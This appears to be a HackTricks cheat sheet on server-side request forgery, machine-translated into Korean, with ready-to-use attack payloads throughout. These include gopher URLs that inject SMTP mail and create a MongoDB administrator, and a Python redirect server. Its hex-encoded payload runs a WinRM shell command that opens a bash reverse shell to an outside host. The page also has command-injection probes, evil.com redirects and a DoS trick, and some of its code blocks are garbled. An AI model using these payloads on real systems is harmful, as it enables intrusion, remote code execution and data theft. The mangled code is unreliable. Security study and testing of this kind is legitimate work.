SSRF (Server Side Request Forgery)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
A Server-side Request Forgery (SSRF) 취약점은 공격자가 서버 측 애플리케이션을 조작하여 임의의 도메인으로 HTTP 요청을 수행하게 만들 때 발생합니다. 이 취약점은 공격자가 지시한 임의의 외부 요청에 서버를 노출시킵니다.
SSRF 캡처
먼저 당신이 생성한 SSRF 상호작용을 캡처해야 합니다. HTTP 또는 DNS 상호작용을 캡처하려면 다음과 같은 도구를 사용할 수 있습니다:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
허용된 도메인(화이트리스트) 우회
대개 SSRF는 특정 화이트리스트 도메인 또는 URL에서만 동작하는 것을 발견합니다. 다음 페이지에는 이 화이트리스트를 우회하기 위해 시도할 수 있는 기법 모음이 있습니다:
open redirect를 통한 우회
서버가 올바르게 보호되어 있어도 웹 페이지 내부의 Open Redirect를 악용하여 모든 제한을 우회할 수 있습니다. 웹페이지가 동일 도메인으로의 SSRF를 허용하고 아마도 리다이렉트를 따르므로, Open Redirect를 이용해 서버가 내부의 어떤 리소스에든 접근하도록 만들 수 있습니다.
Read more here: https://portswigger.net/web-security/ssrf
프로토콜
- file://
- URL 스킴
file://이 언급되며,/etc/passwd를 직접 가리킵니다:file:///etc/passwd - dict://
- DICT URL 스킴은 DICT 프로토콜을 통해 정의나 단어 목록에 접근할 때 사용됩니다. 예제는 특정 단어, 데이터베이스, 엔트리 번호를 목표로 하는 구성된 URL을 보여주며, PHP 스크립트가 공격자가 제공한 자격증명을 사용해 DICT 서버에 연결되도록 악용될 수 있는 사례도 포함합니다:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- secure shell을 통한 안전한 파일 전송 프로토콜로 식별되며, 예제는 PHP 스크립트가 악성 SFTP 서버에 연결되도록 악용될 수 있음을 보여줍니다:
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol은 UDP로 동작하며, PHP 스크립트가 TFTP 서버로 요청을 보내도록 설계된 예제가 언급됩니다. TFTP 요청은 ’generic.com’의 포트 ’12346’에서 파일 ’TESTUDPPACKET’을 요청합니다:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- 이 항목은 LDAP(Lightweight Directory Access Protocol)를 다루며, IP 네트워크상에서 분산 디렉토리 정보 서비스를 관리하고 접근하는 데 사용됨을 강조합니다. localhost의 LDAP 서버와 상호작용 예:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- SSRF 취약점을 이용해 localhost의 SMTP 서비스와 상호작용하는 방법이 설명되어 있으며, 내부 도메인명을 밝혀내고 그 정보를 바탕으로 추가 조사하는 단계가 포함됩니다.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- SSRF가 curl로 실행되는 경우, curl에는 URL globbing라는 기능이 있어 WAFs를 우회하는 데 유용할 수 있습니다. 예를 들어 이 writeup에서 path traversal via
fileprotocol의 예제를 찾을 수 있습니다:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Gopher protocol가 서버 통신을 위해 IP, port and bytes를 지정할 수 있는 기능과, 페이로드 제작을 위한 Gopherus 및 remote-method-guesser 같은 도구들이 설명됩니다. 두 가지 다른 사용 예가 제시됩니다:
Gopher://
이 프로토콜을 사용하면 서버가 send하도록 원하는 IP, port and bytes를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용해 communicate with any TCP server할 수 있습니다 (다만 먼저 서비스와 통신하는 방법을 알아야 합니다).
다행히도 Gopherus를 사용해 여러 서비스에 대한 페이로드를 생성할 수 있습니다. 또한 remote-method-guesser는 gopher 페이로드를 Java RMI 서비스용으로 생성하는 데 사용할 수 있습니다.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 1337로 역연결
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – username=admin, password=admin123, permission=administrator로 사용자 생성
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header 및 기타
서버의 analytics 소프트웨어는 들어오는 링크를 추적하기 위해 Referrer header를 자주 기록하는데, 이는 의도치 않게 애플리케이션을 Server-Side Request Forgery (SSRF) 취약점에 노출시킬 수 있습니다. 이는 해당 소프트웨어가 Referrer header에 언급된 외부 URL을 방문하여 추천 사이트의 내용을 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해, analytics 도구가 Referer header를 처리하는 방식을 이용해 잠재적인 SSRF 공격 표면을 식별하는 Burp Suite 플러그인 “Collaborator Everywhere“를 권장합니다.
인증서의 SNI 데이터로 인한 SSRF
간단한 설정으로 임의의 백엔드에 대한 연결을 허용할 수 있는 잘못된 구성 사례는 다음의 Nginx 구성 예시로 설명됩니다:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
이 구성에서는 Server Name Indication (SNI) 필드의 값이 backend의 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF)에 대한 취약성을 노출하며, SNI 필드에 원하는 IP 주소나 도메인 이름을 지정하기만 하면 악용할 수 있습니다. 아래는 openssl 명령을 사용해 internal.host.com과 같은 임의의 backend로 연결을 강제하는 악용 예시입니다:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF via TLS AIA CA Issuers (Java mTLS)
Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.
- Requirements: mTLS 활성화, Java AIA fetching 활성화, 공격자가 조작된 AIA CA Issuers URI가 포함된 클라이언트 인증서를 제시할 수 있어야 함.
- Triggering SSRF (Java 21 예시):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
The Java certpath debug output shows CertStore URI:http://localhost:8080, and nc captures the HTTP request with the controllable User-Agent from -Dhttp.agent, proving SSRF during certificate validation.
- DoS via file://: AIA CA Issuers를
file:///dev/urandom로 설정하면 Unix 계열 호스트에서 Java가 이를 CertStore로 취급하여 무제한 랜덤 바이트를 읽어 CPU 코어를 점유하고 클라이언트 연결이 끊긴 이후에도 후속 연결을 차단하게 만듭니다.
SSRF via CSS Pre-Processors
LESS는 변수, mixin, 함수 및 강력한 @import 지시자를 추가하는 인기 있는 CSS pre-processor입니다. 컴파일 중 LESS 엔진은 @import 문에서 참조된 리소스를 가져와 (inline) 옵션이 사용될 때 해당 내용을 결과 CSS에 인라인으로 포함합니다.
Check how to exploit it in:
Wget file upload
SSRF with Command Injection
다음과 같은 페이로드를 시도해볼 가치가 있습니다: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs Rendering
웹페이지가 자동으로 제공한 정보를 사용해 PDF를 생성하는 경우, PDF 생성기 자체(서버)가 PDF를 생성하는 동안 실행할 JS를 삽입할 수 있으며, 이를 통해 SSRF를 악용할 수 있습니다. Find more information here.
From SSRF to DoS
여러 세션을 생성하고 해당 세션에서 SSRF를 이용해 대용량 파일을 다운로드해 보세요.
SSRF PHP Functions
취약한 PHP 및 Wordpress 함수들을 확인하려면 다음 페이지를 참고하세요:
SSRF Redirect to Gopher
일부 익스플로잇에서는 리다이렉트 응답을 보내야 할 수 있습니다(잠재적으로 gopher 같은 다른 프로토콜 사용). 여기 다양한 python 코드 예제가 있어 리다이렉트로 응답하는 방법을 보여줍니다:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
잘못 구성된 프록시로 인한 SSRF
기법 from this post.
Flask
Flask 프록시 취약 코드
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
Flask는 **`@`**를 초기 문자로 사용하는 것을 허용하므로, **초기 호스트 이름을 사용자 이름으로 만들고** 새 호스트 이름을 주입할 수 있습니다. 공격 요청:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
취약한 코드:
.png)
요청의 경로를 시작을 문자 **;**로 할 수 있음이 발견되었으며, 이는 이후 **@**를 사용해 접근할 새로운 호스트를 주입할 수 있게 한다.
공격 요청:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP 내장 웹 서버
취약한 PHP 코드
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP는 URL 경로에서 **경로의 슬래시 앞에 문자 `*`를 사용할 수 있습니다**, 그러나 이는 루트 경로명 `/`에서만 사용할 수 있고 첫 번째 슬래시 앞에 점 `.`을 허용하지 않는 등의 제한이 있어, 예를 들어 dotless-hex로 인코딩된 IP 주소를 사용해야 합니다:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
요청 라인에서 절대 URL을 허용하는 Reverse proxies (open forward-proxy)
일부 Reverse proxies는 absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1)도 허용하며, 이를 거부하거나 구성된 upstream으로 재작성하는 대신 URL을 그대로 백엔드로 전달합니다. 이로 인해 Reverse proxy는 pre-auth forward proxy with full-read SSRF가 되어, 일반적으로 인터넷에서 접근할 수 없는 localhost 바인드 서비스에도 접근할 수 있게 됩니다.
핵심 포인트:
- 요청 라인이 목적지를 제어함: 절대 URL의 authority가 정상 라우팅을 무시하고 대체하며;
Host헤더는 보통 무시됩니다. - 전체 응답 반환: 내부 호스트의 응답이 스트리밍되어 되돌아오기 때문에, blind-probing 대신 열거 및 상호작용(예: SOAP/Axis2, Keycloak, admin consoles)이 가능합니다.
- localhost에서 작동:
GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n만으로 loopback 전용 리스너에 도달할 수 있습니다. - 피벗으로 악용 가능: 다른 취약점(예: 업로드 엔드포인트)과 결합하여 호스트 내부 서비스에 접근할 수 있습니다.
최소 프로브:
GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close
If you see the upstream response instead of a 400, the appliance is acting as an open proxy.
DNS Rebidding CORS/SOP bypass
만약 CORS/SOP 때문에 exfiltrate content from a local IP에 problems가 있다면, DNS Rebidding을 사용해 그 제한을 우회할 수 있다:
CORS - Misconfigurations & Bypass
Automated DNS Rebidding
Singularity of Origin is a tool to perform DNS rebinding attacks. 공격 서버의 DNS 이름에 연결된 IP 주소를 대상 머신의 IP 주소로 재바인딩하고, 대상 머신의 취약한 소프트웨어를 악용하기 위한 attack payloads를 제공하는 데 필요한 구성 요소들을 포함하고 있다.
또한 http://rebind.it/singularity.html에 공개적으로 운영 중인 서버도 확인해 보라.
DNS Rebidding + TLS Session ID/Session ticket
요구 사항:
- SSRF
- Outbound TLS sessions
- Stuff on local ports
공격:
- 사용자/봇에게 attacker가 제어하는 domain에 access하도록 유도한다.
- DNS의 TTL을 0초로 설정한다(그래서 피해자는 곧 도메인의 IP를 다시 확인한다).
- 피해자와 attacker 도메인 사이에 TLS connection이 생성된다. 공격자는 Session ID 또는 Session Ticket 안에 payload를 삽입한다.
- 해당 domain이 자기 자신을 향한 무한 redirect 루프를 시작한다. 목적은 사용자/봇이 도메인에 반복해서 접근하게 하여 도메인이 다시 DNS 요청을 하도록 만드는 것이다.
- DNS 요청 시 이제 private IP(예: 127.0.0.1)가 반환된다.
- 사용자/봇은 TLS connection을 재수립하려 시도하며, 이때 이전에 포함됐던 Session ID/Ticket ID를 전송한다(그곳에 공격자의 payload가 들어있었다). 즉, 결국 사용자/봇이 스스로 공격을 수행하게 된다.
참고: 이 공격 중 localhost:11211(memcache)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211 으로 수립하게 만들어야 한다(포트는 항상 동일해야 함).
이 공격을 수행하려면 다음 도구를 사용할 수 있다: https://github.com/jmdx/TLS-poison/
자세한 정보는 이 공격을 설명한 토크를 참고하라: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Blind SSRF와 non-blind SSRF의 차이는 blind에서는 SSRF 요청의 응답을 볼 수 없다는 것이다. 따라서 익스플로잇하기 더 어렵고, 알려진 취약점만을 이용할 수 있다.
Time based SSRF
서버 응답의 시간을 체크함으로써 자원이 존재하는지 여부를 알 수 있을 가능성이 있다(예: 존재하는 리소스에 접근할 때 그렇지 않은 리소스보다 더 많은 시간이 걸릴 수 있다).
From blid to full abusing status codes
이 blog post에 따르면, 일부 blind SSRF는 대상 URL이 200 상태 코드를 응답하더라도(AWS metadata 같은) 해당 데이터가 올바르게 포맷되지 않아 애플리케이션이 표시를 거부하는 경우 발생할 수 있다.
그러나 SSRF에서 305~309 사이의 일부 redirect 응답을 전송하면 애플리케이션이 이 리다이렉트를 따라가면서 에러 모드에 진입하여 더 이상 데이터 포맷을 검사하지 않고 그대로 출력할 가능성이 있다는 사실이 발견되었다.
이를 악용하기 위해 사용된 python 서버는 다음과 같다:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Steps:
- 먼저 302가 앱을 따라가도록 만듭니다.
- 그다음 305 → 306 → 307 → 308 → 309 → 310을 받습니다.
- 5번째 이상한 코드 이후 PoC는 마침내 302 → 169.254.169.254 → 200 OK를 반환합니다.
What happens inside the target:
- libcurl 자체가 305–310을 따라가며, 알려지지 않은 코드들을 단순히 “follow”로 정규화합니다.
- N개의 이상한 리다이렉트(여기서는 ≥ 5) 후에 애플리케이션 자체의 래퍼가 “something is off”라고 판단해 디버깅용 에러 모드로 전환합니다.
- 그 모드에서 전체 리다이렉트 체인과 최종 바디를 외부 호출자에게 덤프합니다.
- Result: 공격자는 모든 헤더와 metadata JSON을 보게 됩니다 — mission accomplished.
Note that this is interesting to leak status codes that you couldn’t leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), there might be some status codes that directly leak the content of the response.
HTML-to-PDF 렌더러를 블라인드 SSRF 가젯으로
Libraries such as TCPDF (and wrappers like spipu/html2pdf) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each <img> or <link rel="stylesheet"> attribute is resolved server-side via cURL, getimagesize(), or file_get_contents(), so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 issues several retrieval attempts for each
<img>resource, so a single payload can generate multiple requests (helpful for timing-based port scans). - html2pdf copies TCPDF’s behaviour for
<img>and adds CSS fetching insideCss::extractStyle(), which simply callsfile_get_contents($href)after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints. - Combine this SSRF primitive with the HTML-to-PDF path traversal tricks to leak both internal HTTP responses and local files rendered into the PDF.
보안 담당자는 렌더링 전에 외부 URL을 제거하거나 렌더러를 네트워크 샌드박스에 격리해야 합니다; 그때까지는 PDF 생성기를 블라인드 SSRF 프록시로 취급하세요.
클라우드 SSRF 악용
클라우드 환경 내부에서 실행 중인 머신에서 SSRF 취약점을 발견하면 클라우드 환경에 관한 흥미로운 정보와 심지어 자격 증명까지 얻을 수 있습니다:
SSRF 취약 플랫폼
여러 알려진 플랫폼들이 SSRF 취약점을 포함했거나 포함하고 있으니, 아래를 확인하세요:
도구
SSRFMap
Tool to detect and exploit SSRF vulnerabilities
Gopherus
This tool generates Gopher payloads for:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
_remote-method-guesser_는 대부분의 일반적인 Java RMI 취약점에 대한 공격 작업을 지원하는 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 SSRF 페이로드를 생성하기 위해 --ssrf 옵션을 지원합니다. --gopher 옵션과 함께 사용하면 즉시 사용할 수 있는 gopher 페이로드를 직접 생성할 수 있습니다.
SSRF Proxy
SSRF Proxy는 Server-Side Request Forgery (SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하도록 설계된 멀티스레드 HTTP 프록시 서버입니다.
연습용
참고 자료
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
